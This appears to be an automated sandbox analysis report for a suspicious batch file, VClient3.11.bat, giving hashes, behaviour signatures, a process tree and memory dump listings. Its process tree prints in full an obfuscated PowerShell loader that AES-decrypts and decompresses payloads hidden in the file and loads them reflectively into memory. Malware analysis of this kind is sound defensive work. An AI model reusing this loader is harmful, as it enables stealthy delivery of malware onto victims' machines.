18baa5efa951d971177b202c4e92aea450f1fd7ed13b5c629e3d68340fd0a4e9

Analysis

max time kernel
120s
max time network
120s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
02/03/2025, 03:38

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General

Target

VClient3.11.bat
Size

422KB
MD5

869440ffbff098f2805f2bc6ddd1a9f5
SHA1

85bac325a849358f534772363d8d3b5b7f7e91c7
SHA256

18baa5efa951d971177b202c4e92aea450f1fd7ed13b5c629e3d68340fd0a4e9
SHA512

5754c683da58fc952f804eff82cf4aedc4fdd2ea9e38a1c534ae4b894f58926ffdd13645ed781ad4fdc7318e705a03ec67edc47dc90a0619056618d18df3815a
SSDEEP

12288:WaixzMk1buOdyDvE79qIGvL9PmaOkweC18n1x:Waixf1buOQvExqZdlOkwe+wx

Score

1^/10

Malware Config

Signatures

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2752	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2752	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2756 wrote to memory of 2788	2756	cmd.exe	32
PID 2756 wrote to memory of 2788	2756	cmd.exe	32
PID 2756 wrote to memory of 2788	2756	cmd.exe	32
PID 2756 wrote to memory of 2752	2756	cmd.exe	33
PID 2756 wrote to memory of 2752	2756	cmd.exe	33
PID 2756 wrote to memory of 2752	2756	cmd.exe	33

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\VClient3.11.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2756
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C13MerJf76R1DFIOGLoO10xEJRdtouLHDV1tgJ/4w50='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('See+TWm/7iu6WCsg7gNt1g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $snUzJ=New-Object System.IO.MemoryStream(,$param_var); $lTkza=New-Object System.IO.MemoryStream; $UKwbD=New-Object System.IO.Compression.GZipStream($snUzJ, [IO.Compression.CompressionMode]::Decompress); $UKwbD.CopyTo($lTkza); $UKwbD.Dispose(); $snUzJ.Dispose(); $lTkza.Dispose(); $lTkza.ToArray();}function execute_function($param_var,$param2_var){ $Oejaz=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xiCYv=$Oejaz.EntryPoint; $xiCYv.Invoke($null, $param2_var);}$TAeoL = 'C:\Users\Admin\AppData\Local\Temp\VClient3.11.bat';$host.UI.RawUI.WindowTitle = $TAeoL;$Cruwh=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($TAeoL).Split([Environment]::NewLine);foreach ($luPpZ in $Cruwh) { if ($luPpZ.StartsWith('afBvfWMFjSuStgRofcsT')) { $RHTbA=$luPpZ.Substring(20); break; }}$payloads_var=[string[]]$RHTbA.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:2788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2752

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

memory/2752-4-0x000007FEF5BCE000-0x000007FEF5BCF000-memory.dmp

Filesize
4KB

Download
memory/2752-7-0x000007FEF5910000-0x000007FEF62AD000-memory.dmp

Filesize
9.6MB

Download
memory/2752-6-0x00000000022D0000-0x00000000022D8000-memory.dmp

Filesize
32KB

Download
memory/2752-5-0x000000001B700000-0x000000001B9E2000-memory.dmp

Filesize
2.9MB

Download
memory/2752-10-0x000007FEF5910000-0x000007FEF62AD000-memory.dmp

Filesize
9.6MB

Download
memory/2752-9-0x000007FEF5910000-0x000007FEF62AD000-memory.dmp

Filesize
9.6MB

Download
memory/2752-8-0x000007FEF5910000-0x000007FEF62AD000-memory.dmp

Filesize
9.6MB

Download
memory/2752-11-0x000007FEF5910000-0x000007FEF62AD000-memory.dmp

Filesize
9.6MB

Download
memory/2752-12-0x000007FEF5BCE000-0x000007FEF5BCF000-memory.dmp

Filesize
4KB

Download
memory/2752-13-0x000007FEF5910000-0x000007FEF62AD000-memory.dmp

Filesize
9.6MB

Download